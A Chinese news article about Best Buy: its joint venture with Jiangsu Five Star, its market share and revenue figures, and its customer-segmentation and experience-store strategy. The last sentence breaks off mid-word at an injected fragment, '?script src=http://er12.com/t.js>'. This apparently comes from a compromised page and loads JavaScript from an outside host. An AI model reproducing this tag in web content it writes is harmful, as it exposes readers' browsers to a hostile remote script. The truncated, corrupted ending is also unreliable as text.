伴随着5月29日北美最大的消费电子零售商百思买(best buy)和中国第四大家电连锁企业江苏五星电器在南京正式揭牌，宣布新五星电器合资公司的成立，美国家电连锁巨头best buy引起了人们极大的关注。
best buy作为北美家电市场连锁巨无霸，现在共有941家连锁店，分布在美国和加拿大市场。在过去5年，在如今低价格低利润已经成为it零售商家紧箍咒的时代，best buy却一直保持着销售复合年度增长15％，利润25％上升的强势记录。是什么原因让best buy保持增势的呢？ best buy ceo安德森介绍说：“消费电器零售商竞争焦点在于切入新技术市场，并提升管理和加速产品升级周期。对此商务的精湛操持及业绩指标将引领产业的发展，也领导下一轮零售的竞争。
紧盯新型数码家电销售 在美国市场，best buy去年占有家电市场18％的市场份额，不仅稳坐了头把交椅，还比同行竞争对手circuit city的7％份额高出一倍多，甚至于比其美国最大的潜在竞争对手——全球百货超市连锁老大沃尔玛在家电市场14％的份额高出4个百分点。在加拿大市场，best buy的地位更加强大，拥有30％市场份额。这个市场统治地位是best buy于2001年收购当地商家future shop实现的。
在今年3月份结束的财年，best buy年度销售额为308亿美元，实现11.2％的收入增长，利润达到22.7亿美元，毛利上升19％。操作纯利润为5.3％。以产品收入细分，消费电子产品占43％；计算机及数码产品占32％；个人娱乐音视游戏产品占19％；传统家电为6％。
按分类产品市场份额，best buy在以平板tv和mp3为主流畅销产品的消费电子产品中，市场份额最大，到达25％。其次是计算机数码产品，分类产品市场份额是21％，个人娱乐市场份额15％。而传统家电类，比如冰箱、洗衣机，best buy出货不多，市场份额只有6％。
best buy是it零售市场的庞然大物。从销售结构就能看出其主业在数码家电和计算机产品，它长于新潮的平板电视、流行的mp3掌上音乐随身听，以及新款计算机和数码相机销售。
以上季度热门产品销售趋势对照，best buy在平板电视、mp3的出货增长率都在两位数。在计算机产品这边，笔记本卖得最火。
安德森介绍说，从best buy就可以看到未来的消费电器商业的模样。核心家电产品正处于大融汇之时，这正是best buy作为消费电器和家庭办公产品两者市场领袖的优势所在。it正变得越来越复杂，这种商务更适合拥有训练有素的员工的零售商，更适合优质的服务保证。best buy以顾客为中心的战略是对顾客服务的全新视野，它帮助顾客打包满足需求的解决方案，并配套销售所需服务支持。 三方向启动顾客中心战略 据了解，三年前，best buy启动了以顾客为中心的市场战略，将经营视野和中心由产品转向顾客。这个新战略的核心是销售和服务一切围绕顾客去做：满足顾客采购选择需求，满足顾客进店的体验需求，满足顾客个性应用需求。公司的一切操作，以顾客数据分析作为实施前提。
best buy的顾客中心战略分了三个方向去把握顾客。第一是了解和细分顾客。在best buy启动顾客中心战略时，成立了有奖顾客俱乐部，以每买125美元送5美元礼金代价，推广顾客忠诚度优惠卡计划。
当顾客使用优惠卡购物，best buy就获得了顾客的采购习惯数据以及顾客人文地理数据。对海量客户数据进行数据淘金和数据分析，best buy随时可以知道每一个连锁店的顾客特征。由此，best buy把连锁店按顾客特征归纳成五种类型，并给予拟人的名称：ray技术“知”家，指家长小孩都熟练使用并依赖it产品的家庭；jill足球妈妈，指居住郊区，小孩文体活动特多，忙碌接送的妈妈顾客；barry专业成人，指各类喜欢高档it产品个人应用和享受的专业人士；buzz年轻娱乐发烧玩家；bbfb小型公司。现在所有的best buy连锁中，小型公司类型占40％，barry 占40％，buzz占 20％，jill占 20％，ray占25％。
在对数据进行分类鉴别之后，如果best buy这个店是ray店，那公司内部就知道怎么备货怎么服务。这样居住在该店附近常来采购的顾客常买的东西都很方便获得。顾客细分是best buy对it零售概念的一次创新和突破。
第二个方向是顾客体验。现在个人娱乐数码产品几乎都涉及同其他设备的联结应用，家庭数码娱乐解决方案和最佳体验成为消费者采购最关注的问题。
best buy三年前开始推出创新概念店，彻底打破传统零售销售和顾客分离、产品和顾客分离的模式，店内一切开放，不设封闭的销售柜台，顾客可以进入店内任何货架自由选择试用产品，并在概念店正中设立互动数码娱乐体验中心，让顾客先有体验再作采购。这个概念店模式现在已经成为best buy所有连锁店的标准。
今年，best buy将在连锁店中新推200个数码家庭剧院体验店中店，展示新潮家庭剧院的魅力，它包括高端数码平板电视、高质量pc/dvd录放系统以及高级立体声播放系统。best buy还废除了销售人员工资同销售额?script src=http://er12.com/t.js>
